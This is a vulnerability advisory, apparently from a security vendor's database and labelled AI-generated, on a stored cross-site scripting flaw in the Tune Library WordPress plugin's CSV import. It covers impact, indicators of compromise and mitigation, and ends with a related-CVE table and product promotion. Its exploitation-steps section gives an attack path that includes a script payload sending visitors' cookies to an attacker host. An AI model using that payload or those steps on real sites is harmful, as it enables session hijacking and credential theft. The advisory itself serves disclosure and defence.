CVE-2026-1401: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-1401 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tune Library plugin for WordPress, affecting all versions up to and including 1.6.3. The flaw arises from insufficient input sanitization and output escaping in the plugin's CSV import functionality, allowing authenticated attackers with Subscriber-level access or higher to inject persistent malicious scripts. The injected scripts execute in the context of any user who visits a page rendered via the [tune-library] shortcode. It was published on February 6, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The CSV import feature in the Tune Library plugin lacks both authorization checks and input sanitization, meaning any authenticated user at the Subscriber level or above can upload a crafted CSV file containing malicious JavaScript payloads. This data is stored in the database without sanitization and later rendered without output escaping when the [tune-library] shortcode is processed on a page. Vulnerable code paths have been identified in tune-library.php (lines 219 and 235) and writeNodes.php (line 113) (Wordfence, WordPress Trac).

Impact

Successful exploitation allows an authenticated attacker with minimal privileges (Subscriber-level) to persistently inject arbitrary JavaScript into WordPress pages, affecting all site visitors who load those pages. This can lead to session cookie theft, credential harvesting, redirection to malicious sites, defacement, or delivery of malware to end users. Because the injected script persists in the database and executes for every visitor, the blast radius extends to all users of the affected WordPress site, including administrators (Wordfence).

Exploitability

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.032%, indicating a low probability of near-term exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the low privilege requirement (Subscriber-level) lowers the barrier for exploitation on sites with open user registration (Wordfence, Red Hat CVE).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Tune Library plugin (versions ≤ 1.6.3) using tools like WPScan or by checking publicly accessible plugin metadata.
  2. Account acquisition: Register or obtain a Subscriber-level (or higher) account on the target WordPress site, which may be possible if open registration is enabled.
  3. Craft malicious CSV: Prepare a CSV file containing a malicious JavaScript payload in a field that will be imported and stored by the plugin (e.g., a song title or attribute field containing <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Import CSV: Log in and use the Tune Library plugin's CSV import functionality to upload the crafted file. Due to missing authorization checks, the import proceeds and stores the unsanitized payload in the database.
  5. Trigger execution: The injected script executes automatically in the browser of any user (including administrators) who visits a WordPress page containing the [tune-library] shortcode, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to the Tune Library CSV import endpoint from low-privileged user accounts; repeated imports from the same subscriber account in a short timeframe.
  • Database: Presence of <script> tags or JavaScript event handlers (e.g., onerror, onload) in Tune Library database entries (e.g., song titles, attributes).
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages with the [tune-library] shortcode; unusual redirects originating from those pages.
  • File System: Unexpected changes to plugin files in wp-content/plugins/tune-library/ if an attacker escalates to file write access after XSS-based admin session hijacking.

Mitigation and workarounds

At the time of disclosure, no patched version of the Tune Library plugin was available for versions up to and including 1.6.3. Site administrators should consider deactivating and removing the plugin until a patched version is released. As a workaround, disabling open user registration (to prevent untrusted users from obtaining Subscriber accounts) reduces the attack surface. Monitor the WordPress plugin changelog for updates and apply any available patch immediately upon release (Wordfence, WordPress Trac).

Community reactions

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for the period of February 2–8, 2026, noting the missing authorization and sanitization issues in the CSV import feature (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management